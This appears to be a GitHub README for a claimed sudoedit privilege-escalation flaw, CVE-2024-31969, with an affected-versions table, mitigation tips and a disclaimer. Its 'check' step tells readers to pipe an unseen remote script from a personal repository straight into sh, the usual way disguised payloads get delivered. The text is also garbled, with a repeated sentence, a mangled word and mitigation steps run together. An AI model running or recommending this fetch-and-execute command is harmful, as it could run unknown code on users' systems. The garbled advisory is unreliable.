
Provides a proof-of-concept check script and documentation for CVE-2024-31969, a local privilege escalation in sudo's sudoedit, including affected versions and mitigation guidance.
CVE-2024-31969 is a local privilege escalation vulnerability in sudo when using the sudoedit command.
This vulnerability was introduced since sudo 1.9.0 due to how sudoedit validates user environment variables and file ownership improperly.
A flaw introduced in sudo 1.9.0 in how
sudoeditvalidated users' environment variables and file ownership.
This vulnerability allows a local user with sudoedit access to modify arbitrary files as root through manipulation of environment variables such as SUDO_EDITOR, or by exploiting symlinks.
| Sudo Version | Status |
|---|---|
| 1.9.0 → 1.9.15p4 | 🔥 Vulnerable |
| 1.9.15p5 and above | ✅ Safe |
| 1.8.x (including 1.8.23) | ❌ Not affected |
Run the following command:
curl -L https://raw.githubusercontent.com/kingfakee7/CVE-2024-31969/main/cve-2024-31969-check.sh | sh
sudo to version 1.9.15p5 or newer.sudoers rules that allow sudoedit for non-root users.env_keep or env_reset configuration in the /etc/sudoers file.This repository was created for educational purposes and system security documentation.
It is strictly prohibited to use this information for illegal activities or without written permission from the system owner.
Any form of misuse is entirely outside the responsibility of the creator.